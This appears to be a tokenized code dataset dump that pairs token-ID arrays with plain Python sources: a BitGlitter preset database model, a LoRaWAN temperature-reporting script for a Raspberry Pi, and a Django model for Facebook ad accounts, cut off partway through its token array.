29896,
29900,
876,
13,
15945,
29908,
13,
5215,
4903,
29889,
3129,
29889,
1195,
333,
290,
13,
5215,
10876,
13,
3166,
1737,
2270,
1053,
3667,
13,
3166,
1737,
2270,
1053,
8984,
13,
3166,
3142,
1982,
29906,
1053,
5065,
417,
2238,
13,
3166,
1737,
2270,
29889,
479,
542,
397,
414,
29889,
3188,
1053,
1879,
542,
6119,
13,
2202,
29901,
13,
1678,
1053,
4390,
13,
19499,
16032,
2392,
29901,
13,
1678,
1018,
29901,
13,
4706,
1053,
2560,
3126,
408,
4390,
13,
1678,
5174,
16032,
2392,
29901,
13,
4706,
515,
9557,
29889,
13239,
1053,
2560,
3126,
408,
4390,
13,
13,
2202,
29901,
13,
1678,
515,
9557,
29889,
13239,
29889,
1124,
1053,
3142,
12508,
13,
19499,
16032,
2392,
29901,
13,
1678,
515,
3142,
1982,
1053,
3142,
12508,
13,
13,
13,
1990,
612,
26779,
29898,
7999,
542,
6119,
1125,
13,
13,
1678,
350,
8127,
29918,
4219,
353,
376,
1124,
597,
3062,
29889,
29891,
26779,
11355,
29889,
510,
29914,
24756,
401,
29973,
29995,
29879,
29908,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
623,
29918,
333,
29892,
3402,
29918,
1807,
2433,
29995,
29879,
742,
1962,
29918,
4830,
29922,
8516,
1125,
13,
4706,
1583,
29889,
932,
29918,
333,
353,
623,
29918,
333,
13,
4706,
1583,
29889,
4830,
29918,
1807,
353,
3402,
29918,
1807,
13,
13,
4706,
565,
1962,
29918,
4830,
2804,
6213,
29901,
13,
9651,
515,
18116,
1053,
29383,
13,
9651,
29383,
877,
479,
2270,
29889,
479,
542,
397,
414,
29889,
29891,
26779,
29889,
29979,
26779,
29901,
450,
421,
4905,
29918,
4830,
29952,
3443,
338,
18164,
525,
29974,
13,
462,
525,
392,
1286,
17262,
29889,
4663,
674,
367,
1304,
25106,
29889,
742,
897,
1457,
9252,
22709,
29897,
13,
13,
1678,
822,
1737,
29877,
401,
29898,
1311,
29892,
1347,
29892,
3721,
29918,
650,
29922,
5574,
29892,
11815,
29922,
8516,
1125,
13,
13,
4706,
1583,
29889,
4478,
29918,
1807,
353,
1347,
13,
4706,
8636,
353,
11117,
5479,
2396,
1583,
29889,
4830,
29918,
1807,
1273,
1583,
29889,
4478,
29918,
1807,
29892,
13,
462,
29871,
525,
932,
333,
2396,
1583,
29889,
932,
29918,
333,
29892,
13,
462,
29871,
525,
15764,
2396,
525,
29967,
29915,
13,
462,
500,
13,
4706,
3142,
353,
1583,
29889,
25416,
29918,
4219,
1273,
3142,
12508,
29898,
7529,
29897,
13,
4706,
1583,
29889,
2271,
353,
3142,
13,
4706,
3667,
29889,
21707,
29889,
8382,
703,
20927,
292,
1273,
29879,
17794,
1273,
1583,
29889,
2271,
29897,
13,
4706,
736,
1583,
29889,
24756,
401,
29918,
2271,
29898,
2271,
29892,
3721,
29918,
650,
29892,
11815,
29922,
15619,
29897,
13,
13,
1678,
822,
1737,
29877,
401,
29918,
2271,
29898,
1311,
29892,
3142,
29892,
3721,
29918,
650,
29922,
5574,
29892,
11815,
29922,
8516,
1125,
13,
13,
4706,
9049,
5085,
353,
9657,
29898,
2271,
29922,
2271,
29897,
13,
4706,
565,
11815,
322,
10876,
29889,
3259,
29918,
3888,
1405,
313,
29906,
29892,
29953,
29892,
29900,
1125,
9049,
5085,
1839,
15619,
2033,
353,
11815,
13,
4706,
1813,
353,
5065,
417,
2238,
29898,
1068,
19290,
29897,
13,
13,
4706,
736,
1583,
29889,
5510,
29918,
3126,
29898,
3488,
29892,
3721,
29918,
650,
29897,
13,
13,
1678,
822,
903,
5510,
29918,
2914,
29898,
1311,
29892,
2058,
1125,
13,
4706,
1196,
29896,
29892,
1196,
29906,
29892,
1196,
29941,
29892,
1196,
29946,
353,
2058,
29889,
657,
877,
1220,
29896,
5477,
2058,
29889,
657,
877,
1220,
29906,
5477,
2058,
29889,
657,
877,
1220,
29941,
5477,
2058,
29889,
657,
877,
1220,
29946,
1495,
13,
4706,
3211,
353,
3667,
29889,
7122,
29918,
4572,
28165,
9162,
518,
1220,
29896,
29892,
1196,
29906,
29892,
1196,
29941,
29892,
1196,
29946,
2314,
13,
4706,
4272,
353,
2058,
29889,
657,
877,
12690,
1495,
13,
4706,
2106,
353,
2058,
29889,
657,
877,
3859,
1495,
13,
4706,
4234,
353,
2058,
29889,
657,
877,
13509,
1495,
13,
4706,
4423,
353,
3667,
29889,
7122,
29918,
4572,
28165,
9162,
518,
7328,
29892,
4272,
29892,
4234,
2314,
13,
4706,
3405,
29892,
301,
865,
353,
2058,
29889,
657,
877,
5066,
4279,
5477,
2058,
29889,
657,
877,
5426,
4279,
1495,
13,
4706,
396,
361,
3405,
322,
301,
865,
29901,
13,
4706,
396,
1678,
1298,
353,
8984,
29898,
7411,
5066,
29892,
301,
865,
29897,
13,
4706,
396,
2870,
29901,
13,
4706,
396,
1678,
1298,
353,
6213,
13,
4706,
736,
313,
5479,
29892,
313,
7411,
29898,
5066,
511,
5785,
29898,
29880,
865,
4961,
13,
13,
13,
1678,
822,
6088,
29918,
3126,
29898,
1311,
29892,
1813,
29892,
3721,
29918,
650,
29922,
5574,
1125,
13,
4706,
565,
451,
338,
8758,
29898,
3488,
29892,
2362,
342,
5393,
1125,
13,
9651,
1813,
353,
3667,
29889,
13808,
29918,
3488,
29898,
3488,
29897,
13,
4706,
1574,
353,
4390,
29889,
18132,
29898,
3488,
29897,
13,
4706,
2582,
353,
1574,
29889,
657,
877,
3591,
2697,
742,
5159,
467,
657,
877,
12191,
742,
518,
2314,
13,
13,
4706,
565,
451,
2582,
29901,
13,
9651,
12020,
7865,
2392,
703,
3782,
2582,
1476,
1159,
13,
4706,
25342,
3721,
29918,
650,
322,
7431,
29898,
9902,
29897,
2804,
29871,
29896,
29901,
13,
9651,
12020,
7865,
2392,
703,
9260,
29876,
29915,
29873,
1284,
3721,
697,
1121,
29991,
376,
320,
13,
462,
632,
18227,
9692,
1273,
29881,
1846,
29908,
1273,
7431,
29898,
9902,
876,
13,
13,
4706,
565,
3721,
29918,
650,
29901,
13,
9651,
736,
1583,
3032,
5510,
29918,
2914,
29898,
9902,
29961,
29900,
2314,
13,
4706,
1683,
29901,
13,
9651,
736,
518,
1311,
3032,
5510,
29918,
2914,
29898,
2914,
29897,
363,
1121,
297,
2582,
29962,
13,
13,
1678,
822,
11837,
29898,
1311,
29892,
29311,
29892,
3721,
29918,
650,
29922,
5574,
1125,
13,
4706,
313,
5066,
29892,
301,
865,
29897,
353,
29311,
13,
4706,
8636,
353,
11117,
5479,
2396,
14210,
29879,
24163,
29879,
29915,
1273,
313,
5066,
29892,
301,
865,
511,
13,
462,
29871,
525,
29887,
15764,
29915,
584,
525,
29934,
742,
13,
462,
29871,
525,
932,
333,
2396,
1583,
29889,
932,
29918,
333,
29892,
13,
462,
29871,
525,
15764,
2396,
525,
29967,
29915,
13,
462,
500,
13,
4706,
3142,
353,
1583,
29889,
25416,
29918,
4219,
1273,
3142,
12508,
29898,
7529,
29897,
13,
4706,
736,
1583,
29889,
24756,
401,
29918,
2271,
29898,
2271,
29892,
3721,
29918,
650,
29897,
13,
2
] |
bg_backend/bitglitter/config/presetmodels.py | MarkMichon1/BitGlitter-Backend | 2 | 92558 | <reponame>MarkMichon1/BitGlitter-Backend
from sqlalchemy import Boolean, Column, DateTime, Integer, String
from datetime import datetime
from bg_backend.bitglitter.config.config import engine, SQLBaseClass
class Preset(SQLBaseClass):
__tablename__ = 'presets'
__abstract__ = False
nickname = Column(String, unique=True, nullable=False)
datetime_created = Column(DateTime, default=datetime.now)
output_mode = Column(String, nullable=False)
compression_enabled = Column(Boolean, nullable=False)
scrypt_n = Column(Integer, nullable=False)
scrypt_r = Column(Integer, nullable=False)
scrypt_p = Column(Integer, nullable=False)
cpu_cores = Column(Integer, nullable=False)
stream_palette_id = Column(String, nullable=False)
pixel_width = Column(Integer, nullable=False)
block_height = Column(Integer, nullable=False)
block_width = Column(Integer, nullable=False)
frames_per_second = Column(Integer, nullable=False)
SQLBaseClass.metadata.create_all(engine)
| [
1,
529,
276,
1112,
420,
29958,
9802,
14916,
265,
29896,
29914,
21591,
29954,
29880,
5171,
29899,
5841,
355,
13,
3166,
4576,
284,
305,
6764,
1053,
11185,
29892,
12481,
29892,
12315,
29892,
8102,
29892,
1714,
13,
13,
3166,
12865,
1053,
12865,
13,
13,
3166,
25989,
29918,
27852,
29889,
2966,
3820,
5171,
29889,
2917,
29889,
2917,
1053,
6012,
29892,
3758,
5160,
2385,
13,
13,
13,
1990,
4360,
300,
29898,
4176,
5160,
2385,
1125,
13,
1678,
4770,
3891,
2435,
420,
1649,
353,
525,
4569,
1691,
29915,
13,
1678,
4770,
16595,
1649,
353,
7700,
13,
13,
1678,
25985,
978,
353,
12481,
29898,
1231,
29892,
5412,
29922,
5574,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
12865,
29918,
11600,
353,
12481,
29898,
11384,
29892,
2322,
29922,
12673,
29889,
3707,
29897,
13,
1678,
1962,
29918,
8513,
353,
12481,
29898,
1231,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
24221,
29918,
17590,
353,
12481,
29898,
18146,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
885,
4641,
29918,
29876,
353,
12481,
29898,
7798,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
885,
4641,
29918,
29878,
353,
12481,
29898,
7798,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
885,
4641,
29918,
29886,
353,
12481,
29898,
7798,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
26403,
29918,
29883,
2361,
353,
12481,
29898,
7798,
29892,
1870,
519,
29922,
8824,
29897,
13,
13,
1678,
4840,
29918,
29886,
26456,
29918,
333,
353,
12481,
29898,
1231,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
15526,
29918,
2103,
353,
12481,
29898,
7798,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
2908,
29918,
3545,
353,
12481,
29898,
7798,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
2908,
29918,
2103,
353,
12481,
29898,
7798,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
16608,
29918,
546,
29918,
7496,
353,
12481,
29898,
7798,
29892,
1870,
519,
29922,
8824,
29897,
13,
13,
13,
4176,
5160,
2385,
29889,
19635,
29889,
3258,
29918,
497,
29898,
10599,
29897,
13,
2
] |
send_temperature.py | wjoost/microe-lora4click-rpi | 0 | 70984 | #!/usr/bin/python3
#
# Send SOC temperature using LoRaWAN module
#
import subprocess
import time
from lora4click import MipotGpio, MipotSerial, MipotCmd
from typing import Optional
def get_soc_temperature() -> Optional[float]:
result = subprocess.run(['/usr/bin/vcgencmd', 'measure_temp'], capture_output=True, text=True)
if result.returncode != 0:
return None
tokens = result.stdout.split('=')
if tokens[0] != 'temp':
return None
num_str = ''
for c in tokens[1]:
if c not in '0123456789.':
break
num_str += c
return float(num_str)
def encode_temperature(temperature: float) -> bytes:
if temperature < 0:
temperature_scaled = int(temperature * 10 - 0.5)
else:
temperature_scaled = int(temperature * 10 + 0.5)
return b'\x00\x67' + temperature_scaled.to_bytes(2, 'big', signed=True)
def joined() -> bool:
# Already joined?
status = cmd.get_activation_status()
if status == 2: # Joined
return True
if status == 3: # MAC error
cmd.reset()
# Request OTAA join
if status == 0: # Not activated
print('Requesting join', flush=True)
result = cmd.join(1)
if result == 1:
raise RuntimeError('Join failed because of an invalid parameter')
# Wait for join indication
print('Waiting for network join', flush=True)
got_join_indication = False
now = time.clock_gettime(time.CLOCK_MONOTONIC)
timeout = now + 300
while not got_join_indication and timeout > now:
join_indication = cmd.get_parsed_indication(timeout - now)
if join_indication is not None and join_indication['indication'] == 'join':
got_join_indication = True
break
now = time.clock_gettime(time.CLOCK_MONOTONIC)
# No join indication?
if not got_join_indication:
print('Waiting for join indication timed out', flush=True)
return False
if join_indication['success']:
print('Join successfull', flush=True)
else:
print('Join failed', flush=True)
# Joined=
return join_indication['success']
def main() -> int:
global cmd
# Init LoRa
gpio = MipotGpio()
serial = MipotSerial(gpio)
cmd = MipotCmd(gpio, serial)
# Set power source info
cmd.set_battery_level(0)
# Loop
interval_seconds = 300
num_data_send = 0
while True:
# Joined to network?
if joined():
temperature = get_soc_temperature()
payload = encode_temperature(temperature)
result = cmd.tx_msg(payload, 1, False)
if result != 0:
print('Sending data failed with error code %s' % (result), flush=True)
else:
num_data_send += 1
# Wait for tx indication
tx_indication = cmd.get_parsed_indication(60)
if tx_indication is None:
print('Timeout while waiting for TX indication', flush=True)
else:
data_rate = tx_indication['data_rate']
print('Sent temperature %f with a data rate of %d' % (temperature, data_rate), flush=True)
# Adjust rate we send out the temperature.
# The airtime per sensor should not exceed 30 seconds per day
# in the community network. However, the very first packets
# will always be sent with a low data rate.
if num_data_send > 4:
if data_rate >= 4:
new_interval_seconds = 300
elif data_rate == 3:
new_interval_seconds = 600
elif data_rate == 2:
new_interval_seconds = 1200
elif data_rate == 1:
new_interval_seconds = 1800
else:
new_interval_seconds = 3600
if interval_seconds != new_interval_seconds:
print('Adjusting interval to %d minutes' % (new_interval_seconds / 60), flush=True)
interval_seconds = new_interval_seconds
# Wait for any indication until the next value can be send
now = time.clock_gettime(time.CLOCK_MONOTONIC)
timeout = now + interval_seconds
while timeout > now:
indication = cmd.get_parsed_indication(timeout - now)
if indication is not None:
if indication['indication'] == 'rx_msg':
if indication['message_type'] == 0:
print('Got unconfirmed message from network')
elif indication['message_type'] == 1:
print('Got confirmed message from network')
elif indication['message_type'] == 2:
print('Got multicast message from network')
elif indication['message_type'] == 3:
print('Got proprietary message from network')
else:
print('Got message type %d from network' % (indication['message_type']))
print(' Receive window: %d' % (indication['slot']))
print(' Data rate: %d' % (indication['data_rate']))
print(' Received signal strength: %d dBm' % (indication['rssi_dbm']))
print(' Signal to noise ratio: %d dB' % (indication['snr_db']))
if indication['frame_pending']:
print(' More data available', flush=True)
else:
print(' No more data available', flush=True)
if indication['port'] is not None:
print(' Port: %d' % (indication['port']), flush=True)
if indication['data'] is not None and len(indication['data']) > 0:
print(' Data:', end='')
for b in indication['data']:
print(' %02X' % (b), end='')
print('', flush=True)
now = time.clock_gettime(time.CLOCK_MONOTONIC)
return 0
if __name__ == "__main__":
exit(main())
| [
1,
18787,
4855,
29914,
2109,
29914,
4691,
29941,
13,
29937,
13,
29937,
15076,
7791,
29907,
10430,
773,
4309,
29934,
29874,
29956,
2190,
3883,
13,
29937,
13,
13,
5215,
1014,
5014,
13,
5215,
931,
13,
3166,
301,
2207,
29946,
3808,
1053,
341,
666,
327,
29954,
16168,
29892,
341,
666,
327,
9125,
29892,
341,
666,
327,
23651,
13,
13,
3166,
19229,
1053,
28379,
13,
13,
13,
1753,
679,
29918,
29879,
542,
29918,
12863,
1535,
580,
1599,
28379,
29961,
7411,
5387,
13,
1678,
1121,
353,
1014,
5014,
29889,
3389,
18959,
29914,
4855,
29914,
2109,
29914,
7071,
1885,
9006,
742,
525,
26658,
29918,
7382,
7464,
10446,
29918,
4905,
29922,
5574,
29892,
1426,
29922,
5574,
29897,
13,
1678,
565,
1121,
29889,
2457,
401,
2804,
29871,
29900,
29901,
13,
4706,
736,
6213,
13,
1678,
18897,
353,
1121,
29889,
25393,
29889,
5451,
877,
29922,
1495,
13,
1678,
565,
18897,
29961,
29900,
29962,
2804,
525,
7382,
2396,
13,
4706,
736,
6213,
13,
1678,
954,
29918,
710,
353,
6629,
13,
1678,
363,
274,
297,
18897,
29961,
29896,
5387,
13,
4706,
565,
274,
451,
297,
525,
29900,
29896,
29906,
29941,
29946,
29945,
29953,
29955,
29947,
29929,
29889,
2396,
13,
9651,
2867,
13,
4706,
954,
29918,
710,
4619,
274,
13,
1678,
736,
5785,
29898,
1949,
29918,
710,
29897,
13,
13,
13,
1753,
19750,
29918,
12863,
1535,
29898,
12863,
1535,
29901,
5785,
29897,
1599,
6262,
29901,
13,
1678,
565,
10430,
529,
29871,
29900,
29901,
13,
4706,
10430,
29918,
7052,
29881,
353,
938,
29898,
12863,
1535,
334,
29871,
29896,
29900,
448,
29871,
29900,
29889,
29945,
29897,
13,
1678,
1683,
29901,
13,
4706,
10430,
29918,
7052,
29881,
353,
938,
29898,
12863,
1535,
334,
29871,
29896,
29900,
718,
29871,
29900,
29889,
29945,
29897,
13,
1678,
736,
289,
12764,
29916,
29900,
29900,
29905,
29916,
29953,
29955,
29915,
718,
10430,
29918,
7052,
29881,
29889,
517,
29918,
13193,
29898,
29906,
29892,
525,
3752,
742,
8794,
29922,
5574,
29897,
13,
13,
13,
1753,
8772,
580,
1599,
6120,
29901,
13,
1678,
396,
838,
2040,
8772,
29973,
13,
1678,
4660,
353,
9920,
29889,
657,
29918,
11236,
362,
29918,
4882,
580,
13,
1678,
565,
4660,
1275,
29871,
29906,
29901,
29871,
396,
3650,
1312,
13,
4706,
736,
5852,
13,
13,
1678,
565,
4660,
1275,
29871,
29941,
29901,
29871,
396,
26750,
1059,
13,
4706,
9920,
29889,
12071,
580,
13,
13,
1678,
396,
10729,
438,
6040,
29909,
5988,
13,
1678,
565,
4660,
1275,
29871,
29900,
29901,
29871,
396,
2216,
5039,
630,
13,
4706,
1596,
877,
3089,
292,
5988,
742,
28371,
29922,
5574,
29897,
13,
4706,
1121,
353,
9920,
29889,
7122,
29898,
29896,
29897,
13,
4706,
565,
1121,
1275,
29871,
29896,
29901,
13,
9651,
12020,
24875,
2392,
877,
17242,
5229,
1363,
310,
385,
8340,
3443,
1495,
13,
13,
1678,
396,
20340,
363,
5988,
4221,
362,
13,
1678,
1596,
877,
15716,
292,
363,
3564,
5988,
742,
28371,
29922,
5574,
29897,
13,
1678,
2355,
29918,
7122,
29918,
513,
293,
362,
353,
7700,
13,
1678,
1286,
353,
931,
29889,
13058,
29918,
657,
2230,
29898,
2230,
29889,
29907,
21339,
29918,
22877,
2891,
1164,
2965,
29897,
13,
1678,
11815,
353,
1286,
718,
29871,
29941,
29900,
29900,
13,
1678,
1550,
451,
2355,
29918,
7122,
29918,
513,
293,
362,
322,
11815,
1405,
1286,
29901,
13,
4706,
5988,
29918,
513,
293,
362,
353,
9920,
29889,
657,
29918,
862,
8485,
29918,
513,
293,
362,
29898,
15619,
448,
1286,
29897,
13,
4706,
565,
5988,
29918,
513,
293,
362,
338,
451,
6213,
322,
5988,
29918,
513,
293,
362,
1839,
513,
293,
362,
2033,
1275,
525,
7122,
2396,
13,
9651,
2355,
29918,
7122,
29918,
513,
293,
362,
353,
5852,
13,
9651,
2867,
13,
4706,
1286,
353,
931,
29889,
13058,
29918,
657,
2230,
29898,
2230,
29889,
29907,
21339,
29918,
22877,
2891,
1164,
2965,
29897,
13,
13,
1678,
396,
1939,
5988,
4221,
362,
29973,
13,
1678,
565,
451,
2355,
29918,
7122,
29918,
513,
293,
362,
29901,
13,
4706,
1596,
877,
15716,
292,
363,
5988,
4221,
362,
5335,
287,
714,
742,
28371,
29922,
5574,
29897,
13,
4706,
736,
7700,
13,
13,
1678,
565,
5988,
29918,
513,
293,
362,
1839,
8698,
2033,
29901,
13,
4706,
1596,
877,
17242,
2551,
8159,
742,
28371,
29922,
5574,
29897,
13,
1678,
1683,
29901,
13,
4706,
1596,
877,
17242,
5229,
742,
28371,
29922,
5574,
29897,
13,
13,
1678,
396,
3650,
1312,
29922,
13,
1678,
736,
5988,
29918,
513,
293,
362,
1839,
8698,
2033,
13,
13,
13,
1753,
1667,
580,
1599,
938,
29901,
13,
1678,
5534,
9920,
13,
13,
1678,
396,
10886,
4309,
29934,
29874,
13,
1678,
330,
16168,
353,
341,
666,
327,
29954,
16168,
580,
13,
1678,
7797,
353,
341,
666,
327,
9125,
29898,
29887,
16168,
29897,
13,
1678,
9920,
353,
341,
666,
327,
23651,
29898,
29887,
16168,
29892,
7797,
29897,
13,
13,
1678,
396,
3789,
3081,
2752,
5235,
13,
1678,
9920,
29889,
842,
29918,
29890,
2620,
29891,
29918,
5563,
29898,
29900,
29897,
13,
13,
1678,
396,
21493,
13,
1678,
7292,
29918,
23128,
353,
29871,
29941,
29900,
29900,
13,
1678,
954,
29918,
1272,
29918,
6717,
353,
29871,
29900,
13,
1678,
1550,
5852,
29901,
13,
4706,
396,
3650,
1312,
304,
3564,
29973,
13,
4706,
565,
8772,
7295,
13,
9651,
10430,
353,
679,
29918,
29879,
542,
29918,
12863,
1535,
580,
13,
9651,
20092,
353,
19750,
29918,
12863,
1535,
29898,
12863,
1535,
29897,
13,
9651,
1121,
353,
9920,
29889,
7508,
29918,
7645,
29898,
23813,
29892,
29871,
29896,
29892,
7700,
29897,
13,
9651,
565,
1121,
2804,
29871,
29900,
29901,
13,
18884,
1596,
877,
29903,
2548,
848,
5229,
411,
1059,
775,
1273,
29879,
29915,
1273,
313,
2914,
511,
28371,
29922,
5574,
29897,
13,
9651,
1683,
29901,
13,
18884,
954,
29918,
1272,
29918,
6717,
4619,
29871,
29896,
13,
18884,
396,
20340,
363,
25568,
4221,
362,
13,
18884,
25568,
29918,
513,
293,
362,
353,
9920,
29889,
657,
29918,
862,
8485,
29918,
513,
293,
362,
29898,
29953,
29900,
29897,
13,
18884,
565,
25568,
29918,
513,
293,
362,
338,
6213,
29901,
13,
462,
1678,
1596,
877,
10851,
1550,
10534,
363,
323,
29990,
4221,
362,
742,
28371,
29922,
5574,
29897,
13,
18884,
1683,
29901,
13,
462,
1678,
848,
29918,
10492,
353,
25568,
29918,
513,
293,
362,
1839,
1272,
29918,
10492,
2033,
13,
462,
1678,
1596,
877,
29903,
296,
10430,
1273,
29888,
411,
263,
848,
6554,
310,
1273,
29881,
29915,
1273,
313,
12863,
1535,
29892,
848,
29918,
10492,
511,
28371,
29922,
5574,
29897,
13,
462,
1678,
396,
2087,
5143,
6554,
591,
3638,
714,
278,
10430,
29889,
13,
462,
1678,
396,
450,
4799,
2230,
639,
23530,
881,
451,
13461,
29871,
29941,
29900,
6923,
639,
2462,
13,
462,
1678,
396,
297,
278,
7881,
3564,
29889,
2398,
29892,
278,
1407,
937,
23912,
13,
462,
1678,
396,
674,
2337,
367,
2665,
411,
263,
4482,
848,
6554,
29889,
13,
462,
1678,
565,
954,
29918,
1272,
29918,
6717,
1405,
29871,
29946,
29901,
13,
462,
4706,
565,
848,
29918,
10492,
6736,
29871,
29946,
29901,
13,
462,
9651,
716,
29918,
19207,
29918,
23128,
353,
29871,
29941,
29900,
29900,
13,
462,
4706,
25342,
848,
29918,
10492,
1275,
29871,
29941,
29901,
13,
462,
9651,
716,
29918,
19207,
29918,
23128,
353,
29871,
29953,
29900,
29900,
13,
462,
4706,
25342,
848,
29918,
10492,
1275,
29871,
29906,
29901,
13,
462,
9651,
716,
29918,
19207,
29918,
23128,
353,
29871,
29896,
29906,
29900,
29900,
13,
462,
4706,
25342,
848,
29918,
10492,
1275,
29871,
29896,
29901,
13,
462,
9651,
716,
29918,
19207,
29918,
23128,
353,
29871,
29896,
29947,
29900,
29900,
13,
462,
4706,
1683,
29901,
13,
462,
9651,
716,
29918,
19207,
29918,
23128,
353,
29871,
29941,
29953,
29900,
29900,
13,
462,
4706,
565,
7292,
29918,
23128,
2804,
716,
29918,
19207,
29918,
23128,
29901,
13,
462,
9651,
1596,
877,
3253,
5143,
292,
7292,
304,
1273,
29881,
6233,
29915,
1273,
313,
1482,
29918,
19207,
29918,
23128,
847,
29871,
29953,
29900,
511,
28371,
29922,
5574,
29897,
13,
462,
9651,
7292,
29918,
23128,
353,
716,
29918,
19207,
29918,
23128,
13,
13,
4706,
396,
20340,
363,
738,
4221,
362,
2745,
278,
2446,
995,
508,
367,
3638,
13,
4706,
1286,
353,
931,
29889,
13058,
29918,
657,
2230,
29898,
2230,
29889,
29907,
21339,
29918,
22877,
2891,
1164,
2965,
29897,
13,
4706,
11815,
353,
1286,
718,
7292,
29918,
23128,
13,
4706,
1550,
11815,
1405,
1286,
29901,
13,
9651,
4221,
362,
353,
9920,
29889,
657,
29918,
862,
8485,
29918,
513,
293,
362,
29898,
15619,
448,
1286,
29897,
13,
9651,
565,
4221,
362,
338,
451,
6213,
29901,
13,
18884,
565,
4221,
362,
1839,
513,
293,
362,
2033,
1275,
525,
17697,
29918,
7645,
2396,
13,
462,
1678,
565,
4221,
362,
1839,
4906,
29918,
1853,
2033,
1275,
29871,
29900,
29901,
13,
462,
4706,
1596,
877,
29954,
327,
443,
5527,
381,
2168,
2643,
515,
3564,
1495,
13,
462,
1678,
25342,
4221,
362,
1839,
4906,
29918,
1853,
2033,
1275,
29871,
29896,
29901,
13,
462,
4706,
1596,
877,
29954,
327,
16725,
2643,
515,
3564,
1495,
13,
462,
1678,
25342,
4221,
362,
1839,
4906,
29918,
1853,
2033,
1275,
29871,
29906,
29901,
13,
462,
4706,
1596,
877,
29954,
327,
1773,
293,
579,
2643,
515,
3564,
1495,
13,
462,
1678,
25342,
4221,
362,
1839,
4906,
29918,
1853,
2033,
1275,
29871,
29941,
29901,
13,
462,
4706,
1596,
877,
29954,
327,
24440,
653,
2643,
515,
3564,
1495,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
1596,
877,
29954,
327,
2643,
1134,
1273,
29881,
515,
3564,
29915,
1273,
313,
513,
293,
362,
1839,
4906,
29918,
1853,
25901,
13,
462,
1678,
1596,
877,
29871,
24328,
573,
3474,
29901,
1273,
29881,
29915,
1273,
313,
513,
293,
362,
1839,
2536,
327,
25901,
13,
462,
1678,
1596,
877,
29871,
3630,
6554,
29901,
1273,
29881,
29915,
1273,
313,
513,
293,
362,
1839,
1272,
29918,
10492,
25901,
13,
462,
1678,
1596,
877,
29871,
24328,
2347,
7182,
9324,
29901,
1273,
29881,
270,
29933,
29885,
29915,
1273,
313,
513,
293,
362,
1839,
29878,
893,
29875,
29918,
2585,
29885,
25901,
13,
462,
1678,
1596,
877,
29871,
9954,
284,
304,
11462,
11959,
29901,
1273,
29881,
270,
29933,
29915,
1273,
313,
513,
293,
362,
1839,
16586,
29878,
29918,
2585,
25901,
13,
462,
1678,
565,
4221,
362,
1839,
2557,
29918,
29886,
2548,
2033,
29901,
13,
462,
4706,
1596,
877,
29871,
5853,
848,
3625,
742,
28371,
29922,
5574,
29897,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
1596,
877,
29871,
1939,
901,
848,
3625,
742,
28371,
29922,
5574,
29897,
13,
462,
1678,
565,
4221,
362,
1839,
637,
2033,
338,
451,
6213,
29901,
13,
462,
4706,
1596,
877,
29871,
3371,
29901,
1273,
29881,
29915,
1273,
313,
513,
293,
362,
1839,
637,
2033,
511,
28371,
29922,
5574,
29897,
13,
462,
1678,
565,
4221,
362,
1839,
1272,
2033,
338,
451,
6213,
322,
7431,
29898,
513,
293,
362,
1839,
1272,
11287,
1405,
29871,
29900,
29901,
13,
462,
4706,
1596,
877,
29871,
3630,
29901,
742,
1095,
2433,
1495,
13,
462,
4706,
363,
289,
297,
4221,
362,
1839,
1272,
2033,
29901,
13,
462,
9651,
1596,
877,
1273,
29900,
29906,
29990,
29915,
1273,
313,
29890,
511,
1095,
2433,
1495,
13,
462,
4706,
1596,
877,
742,
28371,
29922,
5574,
29897,
13,
9651,
1286,
353,
931,
29889,
13058,
29918,
657,
2230,
29898,
2230,
29889,
29907,
21339,
29918,
22877,
2891,
1164,
2965,
29897,
13,
13,
1678,
736,
29871,
29900,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
6876,
29898,
3396,
3101,
13,
2
] |
fb_api/models.py | felipecerinzasick/blog | 0 | 149305 | <gh_stars>0
from django.contrib.postgres.fields import JSONField
from django.db import models
from django.utils.translation import ugettext_lazy as _
from social_django.models import UserSocialAuth
from fb_api.api_caller import ApiParser
class FbAdAccount(models.Model):
fb_acc = models.ForeignKey(
UserSocialAuth,
on_delete=models.CASCADE,
verbose_name=_("Social Auth Model"),
)
ads_id = models.CharField(_("Ads ID"), max_length=50)
account_id = models.CharField(_("Account ID"), max_length=30)
is_selected = models.BooleanField(default=False)
class Meta:
verbose_name = _("Ad Account")
verbose_name_plural = _("Ad Accounts")
def __str__(self):
return "{}({})".format(self.fb_acc.user.username or self.fb_acc.user.email, self.account_id)
def get_user(self):
return self.fb_acc.user
def get_insight_data(self, from_time, to_time):
access_token = self.fb_acc.extra_data.get('access_token', '')
fbap = ApiParser(token=access_token)
return fbap.get_ads_insight(self.ads_id, from_time, to_time)
class InsightData(models.Model):
ad_acc = models.ForeignKey(
FbAdAccount,
on_delete=models.CASCADE,
verbose_name=_("Ad Account"),
)
data = JSONField()
days_count = models.IntegerField(default=30)
created_at = models.DateTimeField(auto_now_add=True)
class Meta:
get_latest_by = ['created_at']
def __str__(self):
return "{}({})".format(self.ad_acc.fb_acc.user.username or self.ad_acc.fb_acc.user.email, self.ad_acc.account_id)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
3166,
9557,
29889,
21570,
29889,
2490,
7201,
29889,
9621,
1053,
4663,
3073,
13,
3166,
9557,
29889,
2585,
1053,
4733,
13,
3166,
9557,
29889,
13239,
29889,
3286,
18411,
1053,
318,
657,
726,
29918,
433,
1537,
408,
903,
13,
3166,
5264,
29918,
14095,
29889,
9794,
1053,
4911,
6295,
1455,
6444,
13,
13,
3166,
285,
29890,
29918,
2754,
29889,
2754,
29918,
4804,
261,
1053,
29749,
11726,
13,
13,
13,
1990,
383,
29890,
3253,
10601,
29898,
9794,
29889,
3195,
1125,
13,
1678,
285,
29890,
29918,
5753,
353,
4733,
29889,
27755,
2558,
29898,
13,
4706,
4911,
6295,
1455,
6444,
29892,
13,
4706,
373,
29918,
8143,
29922,
9794,
